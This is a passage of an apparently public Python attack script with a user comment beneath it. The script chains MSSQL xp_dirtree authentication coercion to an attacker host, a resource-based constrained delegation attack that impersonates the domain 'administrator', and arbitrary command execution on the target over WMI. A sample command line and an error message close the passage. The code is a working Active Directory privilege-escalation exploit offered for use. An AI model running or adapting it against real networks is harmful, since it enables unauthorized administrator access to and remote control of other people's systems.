mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.username, password=options.password, hashes=options.nthash, domain=options.domain, kdcHost=options.dc) | |
mssql_command = "EXEC MASTER.sys.xp_dirtree '\\\\%s@%s\\share', 1, 1;" % (server_hostname, options.server_port) | |
mssql_trigger.run_command(mssql_command) | |
print "[*] executing s4u2pwnage" | |
identity = '%s/%s:%s' % (options.domain, spn_username, spn_password) | |
spn = 'cifs/%s' % options.target | |
if spn_username == options.username and options.nthash: | |
rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=options.nthash, impersonate='administrator', k=False, no_pass=False, spn=spn) | |
else: | |
rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=None, impersonate='administrator', k=False, no_pass=False, spn=spn) | |
do_rbcd_attack = GETST(spn_username, spn_password, options.domain, rbcd_args) | |
do_rbcd_attack.run() | |
print '[*] loading ticket into environment' | |
cwd = os.getcwd() | |
ticket_location = "%s/evil.ccache" % (cwd) | |
os.chmod(ticket_location, 0700) | |
os.environ['KRB5CCNAME'] = ticket_location | |
command = 'cmd.exe /Q /c %s' % options.command | |
print '[*] executing "%s" over wmi' % command | |
wmi_exec(options.target, options.dc, command) | |
print "[+] complete" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This comment has been minimized.
python bad_sequel.py dc-s MS-SQL 192.168.1.23 hostname -d DC -u myname -p mypass
ldap3.core.exceptions.LDAPSocketOpenError: invalid server address